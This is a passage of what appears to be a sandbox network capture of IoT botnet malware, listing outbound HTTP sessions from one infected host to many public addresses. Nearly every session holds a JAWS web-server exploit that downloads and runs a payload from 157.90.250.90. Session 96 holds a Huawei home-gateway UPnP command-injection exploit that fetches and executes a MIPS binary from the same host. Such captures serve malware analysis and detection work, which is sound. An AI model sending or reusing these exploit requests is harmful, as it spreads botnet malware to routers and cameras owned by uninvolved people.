75	192.168.2.23	44620	216.84.178.95	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.024045944 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
76	192.168.2.23	57734	87.124.13.206	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.024760962 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
77	192.168.2.23	50796	69.224.65.58	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.025424957 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.23	58150	69.165.68.106	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.026139975 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.23	50506	195.46.36.83	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.026863098 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.23	57556	172.13.154.229	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.027534962 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.23	36480	59.234.43.201	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.028206110 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.23	36822	151.234.254.75	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.028899908 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.23	33174	46.218.150.180	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.029568911 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.23	48936	52.233.176.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.030303001 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.23	56952	44.96.228.159	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.031002045 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.23	48390	152.61.133.39	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.031743050 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.23	41228	13.209.9.211	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.032409906 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.23	57494	68.131.78.173	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.033075094 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.23	51264	57.234.210.229	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.033780098 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.23	55588	182.114.118.150	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.034471989 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.23	47846	113.202.243.27	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.035171032 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.23	56064	91.179.4.197	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.035973072 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.23	55360	101.242.71.7	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.036629915 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.23	42260	156.240.241.216	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.118882895 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.23	45902	84.71.252.104	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.119754076 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.23	46262	156.22.51.217	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.226285934 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.23	60026	112.155.127.190	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.232669115 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.23	54008	209.250.24.111	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.233496904 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.23	57274	178.58.251.176	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.234181881 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.23	42100	170.223.253.82	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.234863043 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.23	33418	31.114.90.41	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:51.236915112 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.23	40004	98.103.8.79	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.138956070 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.23	38518	205.91.17.173	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.139902115 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.23	45478	112.94.207.133	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.140613079 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.23	34368	123.63.252.212	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.141350031 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.23	33462	151.235.178.124	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.142040014 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.23	37986	133.83.247.90	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.142793894 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.23	38726	175.229.50.139	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.143560886 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.23	60986	97.146.133.90	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.144260883 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.23	45088	89.77.49.90	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.144944906 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.23	37528	155.120.96.18	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.145673990 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.23	58750	203.199.224.170	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.146337986 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.23	38094	77.145.142.253	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.147057056 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.23	45776	201.42.80.185	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.147747040 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.23	39860	179.41.60.148	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.148442030 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.23	58042	220.107.18.26	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.149138927 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.23	42658	72.98.186.118	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.149827003 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.23	36618	159.47.73.163	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.150527954 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.23	39504	35.37.81.75	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.151221037 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.23	60942	132.243.143.161	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.151906967 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.23	57902	190.176.20.128	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.152610064 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.23	45656	140.76.241.6	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.153551102 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.23	40970	134.42.74.112	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.154222965 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.23	34700	123.143.40.243	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.381313086 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.23	37190	4.207.41.110	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.382177114 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.23	47578	13.196.196.235	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.382930994 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.23	54656	93.254.60.25	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.383629084 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.23	57990	179.139.164.55	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.384356022 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.23	37922	92.13.254.172	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.385077953 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
130	192.168.2.23	53214	65.236.202.115	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.404575109 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
131	192.168.2.23	44822	24.30.197.102	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.405319929 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.23	40266	36.128.111.41	80

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 22:11:52.406025887 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.23	53218	113.28.235.30	80

Timestamp	Bytes transferred	Direction	Data
